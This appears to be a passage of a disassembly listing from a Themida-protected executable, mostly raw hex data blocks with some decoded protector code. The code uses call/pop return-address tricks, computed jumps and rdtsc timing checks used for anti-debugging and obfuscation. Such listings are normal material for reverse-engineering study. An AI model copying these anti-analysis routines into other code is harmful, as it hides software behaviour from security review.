dd 866FDF5Ch, 6CAA1A99h, 340A3AFEh, 49769B2Ah, 24F502C3h
dd 955F046h, 0EC04D9B8h, 3E365BEAh, 0E4B508DCh, 0C9F732CBh
dd 4A6CA591h, 1153EAh, 0FC6CCA00h, 37A70A19h, 474D15Eh
dd 0CE3EC271h, 0A7AF827h, 447F2C6Bh, 909F76E6h, 49D6BF2Fh
dd 859A7BEBh, 0F4DFB626h, 0A9365BEAh, 34B5169Eh, 0F29AB608h
dd 56D61086h, 0D7A70FE6h, 2C97A7h, 25169F3Eh, 0B1144A14h
dd 169EBF68h, 0B2110213h, 8F7B5442h, 0F6CD8FCDh, 169EBFD3h
dd 30E1899Ah, 835965D5h, 9EBF99C0h, 0B7536416h, 43A650DCh
dd 0E3972826h, 9FDD3EF2h, 0C2A84231h, 15162h, 0FAB3600h
dd 8D4FDDDFh, 86F293B6h, 0A1495A10h, 0F2E4289Bh, 36171086h
dd 0B68D4F06h, 1086F293h, 9BA1495Ah, 0CB01AA9Fh, 0BCE010ABh
dd 0CAB6E52h, 0AB8FE0DCh, 0A82673A6h, 60B968h, 0E6EF0000h
dd 1CF411F5h, 69D1B97Ch, 63C410ABh, 4FE0DCF3h, 59C9248Dh
dd 1B8A605Dh, 1086F2F3h, 4F7BA172h, 0D854E062h, 7E512E68h
dd 4F72CA8Ch, 763B3786h, 24C615EFh, 7BFA86E7h, 1D320B0Bh
dd 0E3624F1Fh, 82CC9773h, 3360D031h, 583561D1h, 624F8AB2h
dd 82F251DDh, 0F69469ADh, 16C6h, 10ABE200h, 0F44FBCE0h
dd 1086F2A8h, 4FCAF2DBh, 59C9246Bh, 0A6725663h, 68A82673h
dd 49B9h, 624FCD00h, 484571E1h, 1949F8A2h, 0A8F44F23h
dd 0EB1086F2h, 0D343C0F1h, 86F22F72h, 0DFDCE10h, 4FA498A9h
dd 0ADF44F8Dh, 0EE1086F2h, 86F23257h, 38E8B910h, 4F8F8367h
dd 4571E162h, 1071A248h, 72567CA0h, 47B5h, 0CABD100h, 0D7DC02DCh
dd 0DDB2E454h, 86F22168h, 0FFBCC10h, 0A8F44F2Bh, 0DB1086F2h
dd 624FCAF2h, 54296DDDh, 249CA0B6h, 538955C5h, 86F2A9F0h
dd 0A7435410h, 0B68D4F73h, 1086F293h, 0A2A1495Ah, 6ADA5B58h
dd 83B7532Ch, 0FFFE9DB5h, 0BABD1FFh, 414003DBh, 1C169F3Fh
dd 7DFE330Bh, 0DAD75D0Dh, 9E0CE959h, 0C33391DDh, 9D5FAD3h
dd 9EBF173Ah, 0F9C5D616h, 0CCCA3AB8h, 961D17F3h, 169EBF7Dh
dd 7D033006h, 8B325D0Dh, 0C06B3BBEh, 45C19Dh, 0B6D50000h
dd 1086F297h, 0E4FA6AC9h, 0BEF868CFh, 674A29C1h, 1086F227h
dd 0ED000C0h, 0F22C75D0h, 0BE421086h, 0C977484Eh, 0A7EF5FDCh
dd 4B11F9D6h, 9C1AA478h, 530E4716h, 0AFAF2AEh, 0BE8F2FDBh
dd 0B4D9D7h, 0ABAD0000h, 4003DB0Bh, 169C1A6Ch, 151E20F1h
dd 0C4E2797h, 0DA2E73D2h, 0FCCD1693h, 2F9F1D0Eh, 8DBD81E7h
dd 1C0A4B1h, 38B8BD65h, 70390C52h, 0FB108ABBh, 9A1F142Ah
dd 7713EC2Ah, 70CCE5h, 50F3E975h, 1CAB2309h, 23EE3392h
dd 0BC8D1CABh, 0DA573304h, 3EACEA5Ah, 0A7EA597Ah, 461CAB23h
dd 4DBD3E75h, 0A3E95C62h, 4A1AB2EFh, 4670E05Dh, 5B586649h
dd 968D68D8h, 93D8A515h, 0D4ABA679h, 0E7662E2h, 47A70000h
dd 90F13ED7h, 5FDE5520h, 971906EFh, 61E14E27h, 48724F1h
dd 0DCB92989h, 0A570E047h, 0D7BE2E8Eh, 9A7BEB48h, 7B9E2529h
dd 2169EACh, 8D4FBB81h, 86F293B6h, 44DF810h, 0E71086F2h
dd 0B1596AD6h, 0F0770380h, 7A67AF80h, 7CB589F9h, 0B4898DFDh
dd 0F8A158D6h, 118102C5h, 1DCC3184h, 385497A8h, 68000000h
dd 3DB0BABh, 0A97CFCD9h, 90D53531h, 0D207CBFAh, 0D5E6169Ch
dd 0E773D0E1h, 5B3A1585h, 0BFF767C4h, 89558539h, 89EBE2BAh
dd 0C3526310h, 0DBFEC597h, 0A21CADEBh, 2441F991h, 0EA4F64C5h
dd 0E2433C7Ah, 1086F2BFh, 0CFD3753Eh, 741B5DF2h, 496A745Bh
dd 0F89377E7h, 8856C62Bh, 5E58C82Bh, 288B8961h, 108656EAh
dd 71982B31h, 0FC108656h, 72D23F2Bh, 73437302h, 50617B43h
dd 0BAE981F1h, 169F9A41h, 220F2F00h, 269617A3h, 0F2090EDh
dd 43A6C266h, 0C9972826h, 184h, 0EE0FABDDh, 86F23257h
dd 0C7E8B910h, 0C223DEF7h, 18F299C2h, 8D4FCA72h, 86F293B6h
dd 0A1495A10h, 0F2E4289Bh, 0A271086h, 5A7F46A7h, 211086F2h
dd 0F94B3F10h, 6B4FE8D4h, 0ABCB01AAh, 0DEE010h, 86F21C45h
dd 1CCEDF10h, 0AB6E52F8h, 8FE0DC0Ch, 0E2624FABh, 9F4B4472h
dd 0A826B9F4h, 9D181968h, 6FB2112Dh, 0E1386F2h, 51ED4D3Dh
dd 0C9000000h, 0DEE010ABh, 0F21C4500h, 0CEDF1086h, 624FF81Ch
dd 494670E0h, 0E4289BA1h, 271086F2h, 87AD262Eh, 0F09A2703h
dd 1B1F07D0h, 54FB1EA5h, 0B1821086h, 33D6AA6h, 6B4FF02Ch
dd 6359C924h, 56B57256h, 0F3000000h, 0E9CE3EBEh, 46A39E08h
dd 52DDDDFh, 0B9E810ABh, 7B6814DBh, 1F142A05h, 0DC402A9Ah
dd 0F44F8D4Fh, 1086F2ADh, 308B7F50h, 1086F2ECh, 73962D2Fh
dd 0FA1086F2h, 0C2EB4129h, 0E1624FDAh, 4DBD4271h, 0C0967449h
dd 59C9247Ch, 0B68D4F63h, 1086F293h, 0A2A1495Ah, 2673A636h
dd 39B968A8h, 0CD000000h, 70E0624Fh, 5FCF2D46h, 61209A70h
dd 0F44F0B31h, 1086F2A8h, 4F407C4Dh, 39C5246Bh, 38644BBBh
dd 864F7256h, 0EC131992h, 0B25E8B36h, 35FDD2E5h, 33467614h
dd 62000000h, 0E0DC0CABh, 6FDF624Fh, 48B83A27h, 12B18367h
dd 1086F2CAh, 1A8AE849h, 0CBF1DE70h, 20488D4Fh, 0F171CD12h
dd 2436DE8Ch, 4F6755C5h, 7C6EDE62h, 73B55BC1h, 0D1FFFFFEh
dd 3DB0BABh, 0F2276AD9h, 0F5C61086h, 5843F15h, 0F6169F3Fh
dd 0CCCA3ABDh, 0D242C0F3h, 0A7B78838h, 0DCB9298Ah, 0E1FD2DCEh
dd 3F62E1FBh, 0BE169EBFh, 7B9EFDEDh, 2169EBFh, 557E0531h
dd 2E169EBFh, 0E3BA2F28h, 0FC316909h, 0D3CA30Eh, 9DC06AA0h
dd 1828h, 0AB0D2600h, 0C7CF83Bh, 97B6B65Eh, 0C91086F2h
dd 951BFA6Ah, 0EAh, 0B68D4F71h, 1086F293h, 0F7A1495Ah
dd 35E81F47h, 0A7BAB77h, 1F498FA0h, 0A689A666h, 5C592D98h
dd 0CBDC169Ch, 0CE3EBEF3h, 147CF827h, 0B23FBA9Eh, 0F8C6E924h
dd 9B3A5FE6h, 0F0C11693h, 1321C1Ah, 355B0F7Fh, 4F8D5181h
dd 0ADF44F8Dh, 5016939Bh, 9B83C67Fh, 596A1693h, 3165D55Ah
dd 0A60FAE5Ch, 0D5108A56h, 3BB9FAC4h, 0DED848AFh, 0C3F0CEE1h
dd 0F7C8CE3Eh, 1D67813h, 0BB8A1938h, 1CABD496h, 0F1734455h
dd 0F93AD06Ch, 9D0B0B7Bh, 2E95A9D9h, 1AB246E8h, 3A408891h
dd 0C56FFEEDh, 0CD0AD4EAh, 6DBF9E2Ch, 55D6B428h, 0A08F66D6h
dd 93EAB323h, 0C8ABA761h, 0ACE46AEh, 0EF4F0000h, 2889967Fh
dd 0E746DDB8h, 2F919E77h, 0E949D6BFh, 8CFF9C79h, 0B441B111h
dd 0ED88F87Fh, 0AF46B636h, 2930380h, 13360DD1h, 0DA169E90h
dd 0C7242319h, 0EE558757h, 1086F2ABh, 6BA94152h, 0A32F90A1h
dd 9768AE1Eh, 0FA1FA6B8h, 811086F2h, 0DA59DAB0h, 248D2C6Ah
dd 45AD0EB9h, 0FBFBDAB8h, 0B985AAC3h, 3F27AE9Ch, 87E9A29Eh
dd 79FB3817h, 9F126109h, 97A8891Ah, 31A2h, 0BAB7600h, 0CEC838BFh
dd 4500DEF1h, 169BF991h, 4E635364h, 0B6987DEDh, 0DC8EFE7Dh
dd 825CCC2Fh, 0AB5FCF31h, 1747F781h, 14E87C47h, 5C6D1089h
dd 0C52473B9h, 0F2B8E164h, 72431086h, 0C78B2465h, 3916DD9Fh
dd 2D39595Ch, 51621086h, 0BD9284F4h, 70E05CCDh, 156115A5h
dd 37A70995h, 0E210EFFh, 0E1919530h, 0DBE4169Fh, 0E6ED13FEh
dd 0CC92BD97h, 0FF960667h, 2643A639h, 8EC99728h, 0DD000001h
dd 6EDE624Fh, 0FDB35728h, 4F0F0D3Dh, 59C9248Dh, 0F2CA12B1h
dd 0F8391086h, 3E0F0777h, 8D4F2B11h, 0F760C824h, 1D7CF61Ch
dd 433C7A55h, 1AA73A7h, 0E010ABCBh, 0CE9052BCh, 86F2D2F7h
dd 3DAD0C10h, 64D8B283h, 45C00CABh, 48FBE1D5h, 1086F201h
dd 0DBF4DBECh, 0DB4BAE03h, 624F0B2Fh, 84F451DDh, 0CC926BABh
dd 86F2D0F9h, 0E08A9B10h, 279EC09Eh, 1086F2E2h, 251181FCh
dd 0C3A77828h, 0DE624F4Fh, 0B357286Eh, 0A826A5F8h, 6D0B68h
dd 0F0410000h, 0CD452595h, 93B68D4Fh, 0CD1086F2h, 0C6B7FF6Fh
dd 0F7A1495Ah, 0F1421C4Ch, 0C86C1E8Eh, 0F2A8F44Fh, 0F1EB1086h
dd 86F20F52h, 3FC1EE10h, 0D9F6C7CFh, 0DDC48D31h, 929A60C2h
dd 4F08341Bh, 7C6EDE62h, 87B3A4BAh, 0AC1C2675h, 0DF8E4C9Dh
dd 7D52F74Bh, 0C924A58Dh, 4B4BBB3Dh, 0F29FC281h, 4D5E1086h
dd 564F4D62h, 20B572h, 0ABD10000h, 4FBCE010h, 86F2A8F4h
dd 0CAF2DB10h, 0F44F8D4Fh, 1086F2ADh, 0A78B7F50h, 6359C924h
dd 73A67256h, 0B968A826h, 2Dh, 0DC0CABCDh, 0A8F44FE0h
dd 4D1086F2h, 6B4F407Ch, 6755C524h, 54E0624Fh, 5C3165D5h
dd 8FFA6473h, 33D36CFBh, 0B5200C57h, 37h, 0DC0CABD1h, 0E2624FE0h
dd 0FFC69872h, 1086F2DFh, 1080E72Ch, 38062926h, 3DAD0D26h
dd 78A104F9h, 31086F2h, 70992C32h, 0FB1086F2h, 4FDC402Ah
dd 55C5246Bh, 0B5725667h, 0FFFFFE69h, 0DB0BABD1h, 3F414003h
dd 9DBA169Fh, 7784ACE1h, 5C3C2E31h, 0BD3E734Bh, 4102A84Dh
dd 220F4D11h, 80531A1h, 3F1E4362h, 0CCDD169Eh, 3F286BCAh
dd 66D1169Eh, 0EB67D277h, 1EED9DC0h, 0C9000000h, 86F297B6h
dd 0EFE3F410h, 15CA0E22h, 0F97AB753h, 17CB589h, 169AF991h
dd 0B9h, 0DB0BABF2h, 0DF4FAE03h, 3204E6D7h, 9C006393h
dd 3D011216h, 360878F4h, 5E0C7CFDh, 34A4200Fh, 98C87802h
dd 31B2FFC6h, 0F8C9108Ah, 0E36FCDE6h, 272D05Ch, 3B143B14h
dd 0F767C55Ah, 558539BFh, 0A9F05389h, 541CABAEh, 6551C127h
dd 91A34768h, 0B262EC32h, 0A1062B1Ah, 62080531h, 60516D3Eh
dd 60D057E3h, 9F765936h, 8BBA1BBh, 2C35AC1h, 0E72A9BACh
dd 8602C35Ah, 0D754D5B5h, 0EEB99667h, 1026ABA6h, 763B4h
dd 0CC3CBA00h, 777FA29h, 0D444C16Eh, 1E8EF241h, 0DA4AA877h
dd 742F5C3Bh, 40EF86F6h, 79A64FBFh, 35EA8BFBh, 24AF46B6h
dd 97468B3Ah, 6425169Eh, 0E2624FD8h, 189B9872h, 91BE2E8Ch
dd 0BF2F8CA5h, 0C131929Fh, 0A4CEB29h, 0DBDB4BA9h, 1E9108E2h
dd 3BDA4AA9h, 0A81A0366h, 428997h
db 2 dup(0), 9Dh
byte_5B0023 db 0ABh ; DATA XREF: Themida_:0057A69Co
; Themida_:0057A7A4o
db 0Bh, 0DBh
dw 4003h
dd 169C1BA0h, 8C526C3Dh, 93DB90B9h, 0A04A5B16h, 268BA876h
dd 0DB8F80B6h, 93DB9DC0h, 0AF6A16h, 0D343C1F2h, 18F262E0h
dd 0BD43109Dh, 43989Dh, 0C1960000h, 70FB97B0h, 0D73B2FEEh
dd 6FDF624Fh, 3961157Bh, 986DF43Eh, 320C237Bh, 9C8AC393h
dd 63C5B216h, 0C9DADCF3h, 41BFA6Ah, 79FF37A7h, 0FAC995C5h
dd 10899BFAh, 0C394AA7Bh, 789BF01Ch, 6803E7B8h, 8F62B2C4h
dd 249FBFEFh, 169BFB3Ch, 17AE7041h, 0D6E8361Dh, 2C326216h
dd 175DF199h, 6BAB7CD0h, 350939FDh, 3C46178Eh, 895566DAh
dd 0BA5BCB28h, 7960665h, 0EB36F124h, 4D4DB5BFh, 0D0000006h
dd 0C06F0676h, 0EF44D141h, 0A8771E8Eh, 0E63DD848h, 2A811484h
dd 5CCC2E61h, 95056AB9h, 61D13300h, 0AC1C9F94h, 75D0FEC9h
dd 169E942Ch, 24EE4ECFh, 525F57C7h, 76BB83F3h, 87E684F4h
dd 0EC3892C3h, 27B48CE1h, 4B65AC17h, 37081086h, 69995D53h
dd 86C3EE55h, 0B17A169Fh, 941483A9h, 181E31A3h, 633AAA0Bh
dd 0B7D31A7Ah, 0DDEB476Dh, 40000005h, 70BF56C6h, 5FD4A111h
dd 98876EDEh, 56CDA818h, 1A9164D4h, 2C9C1E91h, 0E555DA49h
dd 31A12310h, 0FC6CCF64h, 25A0AE19h, 169E95FCh, 0AB3EFE7Fh
dd 4003DB0Bh, 169F3F75h, 27971B08h, 5311EEFh, 5C2191ECh
dd 0B7D44959h, 8D107482h, 90000005h, 2FC636h, 0AF841181h
dd 0E837DE4Eh, 0A67D1888h, 6A41D444h, 9C0C6E21h, 55C52AF9h
dd 0A11173C0h, 6CDC5FD4h, 0B5103E89h, 169E956Ch, 0ABAE8E0Fh
dd 4003DB0Bh, 169F3F79h, 7E154204h, 4BC41D49h, 85A3E65Fh
dd 884A169Eh, 9E8594BDh, 69465716h, 0E2635046h, 1FA6AB72h
dd 3B39B7D4h, 52BB7h, 2494F200h, 0EF5FE251h, 2C9C1906h
dd 0E656DA49h, 32A2200Fh, 4C474463h, 88977EEEh, 51DEB727h
dd 3DF283F3h, 1CA74EBEh, 954E9332h, 6C2D169Eh, 0E3624FD0h
dd 0CD06DE7Bh, 0E4CB3130h, 0FC2DDDB2h, 8CF37Fh, 0F83B1484h
dd 0F2240B7Bh, 24128201h, 969CA8Ch, 17C6F199h, 0C1F253B0h
dd 0E8E5D141h, 860E143Dh, 0CDC6D710h, 9D5FA6Ah, 2DDD4DA8h
dd 272D15Eh, 970D4A14h, 9E4F365Bh, 0D10B4EF5h, 21F21086h
dd 1D415C0Eh, 731086D1h, 53B017C6h, 56D6DBE3h, 2BDFB0E6h
dd 65E0FE60h, 1086D13Ch, 0FFCEEBFh, 0E9FA3CACh, 2B7B1A8Ah
dd 59835B8Bh, 0E328C27Ch, 0A04A47ABh, 9B94CD05h, 95302E16h
dd 16938A4Ch, 4C6C1E2Fh, 286EDE5Fh, 0B73E7857h, 16938A96h
dd 0D3545D5Fh, 6EA65F6Bh, 2C037DBAh, 0DD6C533Eh, 9DBD6750h
dd 33D8h, 0BABB400h, 0F04003DBh, 8D169BF5h, 9C6C19C4h
dd 103F44A6h, 9A7E9F26h, 11701693h, 0FB7C75A1h, 0C5EC8B8Bh
dd 0B661C91Ah, 81B74207h, 0DE3D9DBDh, 59000000h, 93B68D4Fh
dd 5A1086F2h, 1370A149h, 9EB12187h, 0B3F997C0h, 0B186F674h
dd 0C9A14002h, 64D4564Bh, 0E0476C32h, 0A1494670h, 9BA31370h
dd 71A51596h, 3340EE9Ch, 309560D0h, 10868BAAh, 0A075E546h
dd 0FEC03093h, 24C636B5h, 90C080EAh, 0EC3590CEh, 8F108670h
dd 0BB8ACCBEh, 169B7673h, 665421F2h, 0E95C6292h, 108B18A1h
dd 851F4EAh, 0F31CABC2h, 47584822h, 4BBB3A77h, 0C698724Bh
dd 0C19D0D6Dh, 14AF1070h, 1CABC2CDh, 0DAB09FB0h, 960664BBh
dd 0BF66FC07h, 65CDE7B1h, 370h, 14E151ADh, 4B2A9A1Fh, 0CE959D4h
dd 54219117h, 0AEB5BDFh, 1FA31E8Dh, 0D659C6AFh, 24A08F66h
dd 0F152E1B4h, 0FBE3F481h, 9E9B0148h, 112BEC16h, 0DE65C624h
dd 1086F2BBh, 0B75E7142h, 0FA9B0B68h, 0DB0BAB2Eh, 0DAFCD903h
dd 1A08CB63h, 3129C9Fh, 4788E634h, 36E38944h, 0E882AD98h
dd 9B507DBDh, 0E72F0016h, 935B418Ch, 0B282E16h, 0FD39A9h
dd 0C9802F6Ah, 9DBDC364h, 0DB4BAD06h, 1C08E2DBh, 0BAh
dd 57C724F0h, 80F0525Fh, 0F6A92F96h, 0C0431086h, 0C52BB734h
dd 0C0557A55h, 76A01073h, 3A043404h, 370777F9h, 86F7458Ch
dd 73172810h, 0F1DA62E1h, 4A5B169Bh, 0B3BFBABh, 9EA79033h
dd 3F74108Bh, 7F4D49B9h, 0AA5D9DC4h, 604F601Ch, 0F20D168Ah
dd 9FC59126h, 426F4F60h, 99C550C0h, 0D4D900C3h, 93A41CAAh
dd 48B83AF7h, 0C070A0B5h, 0C52D47B1h, 278h, 3CD949A5h
dd 831282E7h, 14E151ACh, 4C29991Fh, 12E353D7h, 179B1695h
dd 0DE61CEA7h, 1C98876Eh, 0D95AC9ACh, 133B8C69h, 9E9869B0h
dd 0E9531416h, 0B83AC624h, 5A576748h, 0C72A69D9h, 7C6E5F57h
dd 51C142F1h, 624F78C4h, 54296DDDh, 6AF675B6h, 7FB79808h
dd 28851172h, 0AE817EB8h, 0EF1FDFC7h, 13360DCFh, 0DA1086F2h
dd 0A81B21C9h, 169C1BD8h, 0E3625465h, 1693DBBAh, 68E1CC43h
dd 9DBD4705h, 2E8Bh, 0BAB9F00h, 0EC4003DBh, 0F169C1Ah
dd 531A122h, 6D3E6208h, 70E06051h, 73A14946h, 93DACD10h
dd 0D0FFBA16h, 0BD41F479h, 337C9Dh, 0B6900000h, 1086F296h
dd 617DAD51h, 0DCF55A7Bh, 545079F4h, 2B6BDB5Fh, 7D0DB852h
dd 9E169C7Bh, 4758E4B9h, 15F564BEh, 89CE90A1h, 0BB8181EAh
dd 8510FA15h, 0E3624FB7h, 5D219773h, 0BEB2112Dh, 0BF169C1Fh
dd 0D2FD6DD2h, 0DC3C61E4h, 4EC91693h, 4C7FEA5Fh, 4A059DBDh
dd 21000000h, 86F297B6h, 8FB05010h, 86F2ED34h, 0E7E0310h
dd 0B8893708h, 0C795C797h, 86F2D5FCh, 0E3879810h, 9C2628B8h
dd 0E2F3B516h, 11AC350Dh, 0D0F9ACB7h, 9B169308h, 8ED0A58Ah
dd 8ACF550h, 7E4F1693h, 0C7012459h, 0E2889A11h, 0DB0BAB3Ah
dd 0DA4AAE03h, 0F161C7DCh, 3E7C8C5h, 3F379231h, 7546169Fh
dd 7BEB4869h, 9A26859Ah, 906DA919h, 4DF177BFh, 533AD025h
dd 6D42D5A3h, 0DE52F251h, 0D2E31087h, 0D444A70Ch, 2191F241h
dd 67B383F5h, 6DC79000h, 0A331CC9Dh, 1DBE3CCh, 4C2168DBh
dd 0BD3F1CB7h, 0CC74494Dh, 68B40FFBh, 0D1AADBDh, 0C7B6613Ch
dd 8FA5ABA5h, 0B333h, 9C0C6A00h, 57C72AF9h, 0A41471BEh
dd 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh
dd 0A57A1B8Bh, 943FD646h, 9ED6FBCAh, 0D495169Eh, 0DB0BAB68h
dd 3EE84003h, 1E13169Fh, 5B3B2F9Fh, 0D4574C4Ah, 3C7AEA48h
dd 81F15043h, 0FE97B895h, 0E246D231h, 644B4472h, 718FD332h
dd 0D75E14D5h, 0CDCD0AE8h, 0F0AAE0B2h, 11729F4Bh, 0DC5FD4A1h
dd 0FC81C87Bh, 5B6C18D8h, 0CF314274h, 0D0327F5Fh, 0B1593660h
dd 99BE8083h, 10E41049h, 99AA8DA7h, 1F2A306Ch, 5B8DF8Bh
dd 44D141C2h, 421C8CEFh, 4A2090F1h, 52B102CCh, 2FDBB4E2h
dd 393h, 4B2FA700h, 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh
dd 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh
dd 64ED6878h, 2C890000h, 29926824h, 3C890000h, 0E3895324h
dd 4C381h, 0EB830000h, 241C8704h, 2434895Ch, 291E68h, 24048900h
dd 184ED2B8h, 58C78906h, 4EC81h, 24890000h, 24048124h
dd 4, 8BB535Eh, 1000000h, 8B3B89F3h, 0C481241Ch, 4, 5E2434FFh
dd 4C481h, 3C8B0000h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
dd 10BCE95Ch, 7F57FFFDh, 5074B00h, 6A2D21B1h, 0F4FADAF4h
; ---------------------------------------------------------------------------
loc_5B07D4: ; CODE XREF: Themida_:loc_5AE82Aj
mov eax, 6186D1Eh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0B3h, 0FBh, 0A3h
dd 8D10626Ch, 57627D19h, 7B5CCC6Ah, 0C33B2629h, 0E9A34832h
dd 0CA455402h, 50972261h, 82FEA165h, 0C3B6CA42h, 9D6C3B73h
dd 7D050F10h, 7DB7B114h, 7C278B3Ch, 91D42E36h, 9F424146h
dd 0C9DC102h, 37FF2349h, 6E81Ch, 3ACE0000h, 0FAB657Ah
dd 880BB966h, 9E95Eh, 0C7A90000h, 0C1B62F16h, 8188DBCAh
dd 6972C6h, 80525700h, 5A590AD6h, 0E953DB2Bh, 12h, 6D311894h
dd 9FB9D6D3h, 12945FA6h, 7E9124A7h, 8B58C2E9h, 0C7811E3Ch
dd 413E08B0h, 48F0Fh, 0B8660000h, 0F781966Fh, 9C32C65h
dd 3850F60h, 66000000h, 8161FE8Bh, 1F2169C7h, 0CDB96639h
dd 0C18B578Ch, 801E048Fh, 0BE804EAh, 0F4000000h, 0A843E8B6h
dd 0D7D903CEh, 5AF871A0h, 0B802EB83h, 5FE96FB6h, 0F1814B4Bh
dd 7F7C6123h, 9730FB81h, 850FFFFFh, 0FFFFFF9Bh, 400E9h
dd 0
dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
dd 5600h, 4500h, 0
dd 12A7E900h, 0F600000h, 381h, 0CFBF0F00h, 12D58D89h, 8B610615h
dd 15178985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 2B7EC397h, 75175A38h, 9D31621Ch
dd 61515DDh, 71958960h, 8106152Eh, 0E12D6DEEh, 4439615Eh
dd 850F0424h, 52h, 0F1B589FCh, 83061527h, 15295DBDh, 840F0006h
dd 3Eh, 5E9h, 15836B00h, 858DA87Bh, 6153B38h, 918589h
dd 0E0FF0615h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 3DC35545h, 80EF2AC7h, 7019D09h, 858B0615h, 6150789h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 17C35545h
dd 5DC21660h, 0ED7C7A0h, 12E9CAh, 5D0C0000h, 5A51231Ah
dd 6EE1086h, 90AB183Eh, 2806408Ch, 4244439h, 5D850Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 79C4C1C3h, 8589E535h, 6153095h, 13860Fh, 0EE90000h
dd 21000000h, 6A9529A5h, 0AD29B4Ch, 7EFEEE58h, 0A285C738h
dd 1061872h, 0F000000h, 0E8Bh, 800F6000h, 0
; ---------------------------------------------------------------------------
mov [ebp+615104Dh], edi
popa
pusha
push 0
push edx
call sub_5B0E3B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B0E3B proc near ; CODE XREF: Themida_:005B0E33p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5B0E3B endp
; ---------------------------------------------------------------------------
clc
mov al, ds:8C175B06h
mov [ebp+6153461h], edi
jmp loc_5B0E90
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5B0E68
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B0E68 proc near ; CODE XREF: Themida_:005B0E60p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5B0E68 endp
; ---------------------------------------------------------------------------
dd 850F272Fh, 0Ch, 6820Fh, 95090000h, 615235Dh, 0
; ---------------------------------------------------------------------------
loc_5B0E90: ; CODE XREF: Themida_:005B0E58j
mov eax, 1
loc_5B0E95: ; CODE XREF: Themida_:005B0E9Dj
xchg eax, [ebp+618745Dh]
or eax, eax
jnz short loc_5B0E95
push dword ptr [ebp+61509C5h]
pop dword ptr [ebp+618729Ah]
push 20h
push 0FFFFFFFFh
call dword ptr [ebp+615248Dh]
cmp dword ptr [ebp+6150221h], 0
jz short loc_5B0EC6
push 0
call dword ptr [ebp+6152E21h]
loc_5B0EC6: ; CODE XREF: Themida_:005B0EBCj
cmp dword ptr [ebp+6151E01h], 1
jz short loc_5B0EDC
push 80h
push 0FFFFFFFFh
call dword ptr [ebp+615248Dh]
loc_5B0EDC: ; CODE XREF: Themida_:005B0ECDj
pusha
cld
mov [ebp+6150329h], edx
popa
push 0
push edx
call sub_5B0EF0
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B0EF0 proc near ; CODE XREF: Themida_:005B0EE8p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5B0EF0 endp
; ---------------------------------------------------------------------------
dd 0F3ACBDD3h, 0E97ABAF0h, 8, 5C881676h, 5C2F9C2Fh, 13E9h
dd 1B8A4E00h, 7E73C832h, 613A6F5Bh, 0F5840EC9h, 0DC85E1BCh
dd 0B8h, 85B58900h, 8B061504h, 60282454h, 0B58BC68Ah, 61524F9h
dd 8589F961h, 6150A5Dh, 0D58D8B60h, 0E8061525h, 0Ah, 0A6B8759Bh
dd 8F378092h, 0FE9B6AAh, 4A000000h, 5659468h, 78152E57h
dd 5DD2EEFh, 6158129Fh, 3CBEh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0E39AF4AAh
dd 0CE9h, 0C4B23100h, 0C01F5AB0h, 0A2CCB965h, 3616078h
dd 0F242474h, 68Dh, 15B52900h, 6606150Ch, 0BE9ADh, 0E8910000h
dd 326E0254h, 0C63B633Dh, 2444037Fh, 0BD296024h, 6150D65h
dd 189D9D29h, 50610615h, 22810Fh, 52500000h, 310F5250h
dd 310F585Ah, 11E9h, 6167C00h, 287E6E96h, 4961BA91h, 1024C83Dh
dd 585A55FCh, 6A240489h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 44B1C351h, 895DFE3Fh
dd 15176595h, 29B58906h, 8B061530h, 6A7840h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0DC6D70C3h
dd 83F9220Ch, 1872A2BDh, 850F0006h, 157h, 68C0Fh, 8D290000h
dd 6151075h, 50525090h, 0F525052h, 0F585A31h, 0F525031h
dd 5A585A31h, 60310F58h, 0B2C2E5BEh, 8E965h, 39D60000h
dd 0E9C68DEEh, 5A61E1FAh, 8F0F5058h, 14h, 0FE9h, 777E7700h
dd 0E679C792h, 19922928h, 3C0C56DDh, 50006A90h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0C20178D7h
dd 36A995CEh, 8E93A44h, 0C000000h, 0D691AC1Bh, 9BBEEBFh
dd 151D6D85h, 24448B06h, 52006A2Ch, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0CFE29CF4h, 40177FC4h
dd 0BE9DBh, 797A0000h, 4F3622D3h, 0F4747D1Ah, 11E97Ch
dd 9C070000h, 5FB0A87h, 58555F6Dh, 0CD2A3DA3h, 5029CB63h
dd 8E0F5250h, 6, 860Fh, 310F0000h, 820F5250h, 0
dd 850F310Fh, 0
; ---------------------------------------------------------------------------
pop edx
pop eax
pop edx
pop eax
mov [esp], eax
jmp loc_5B1185
; ---------------------------------------------------------------------------
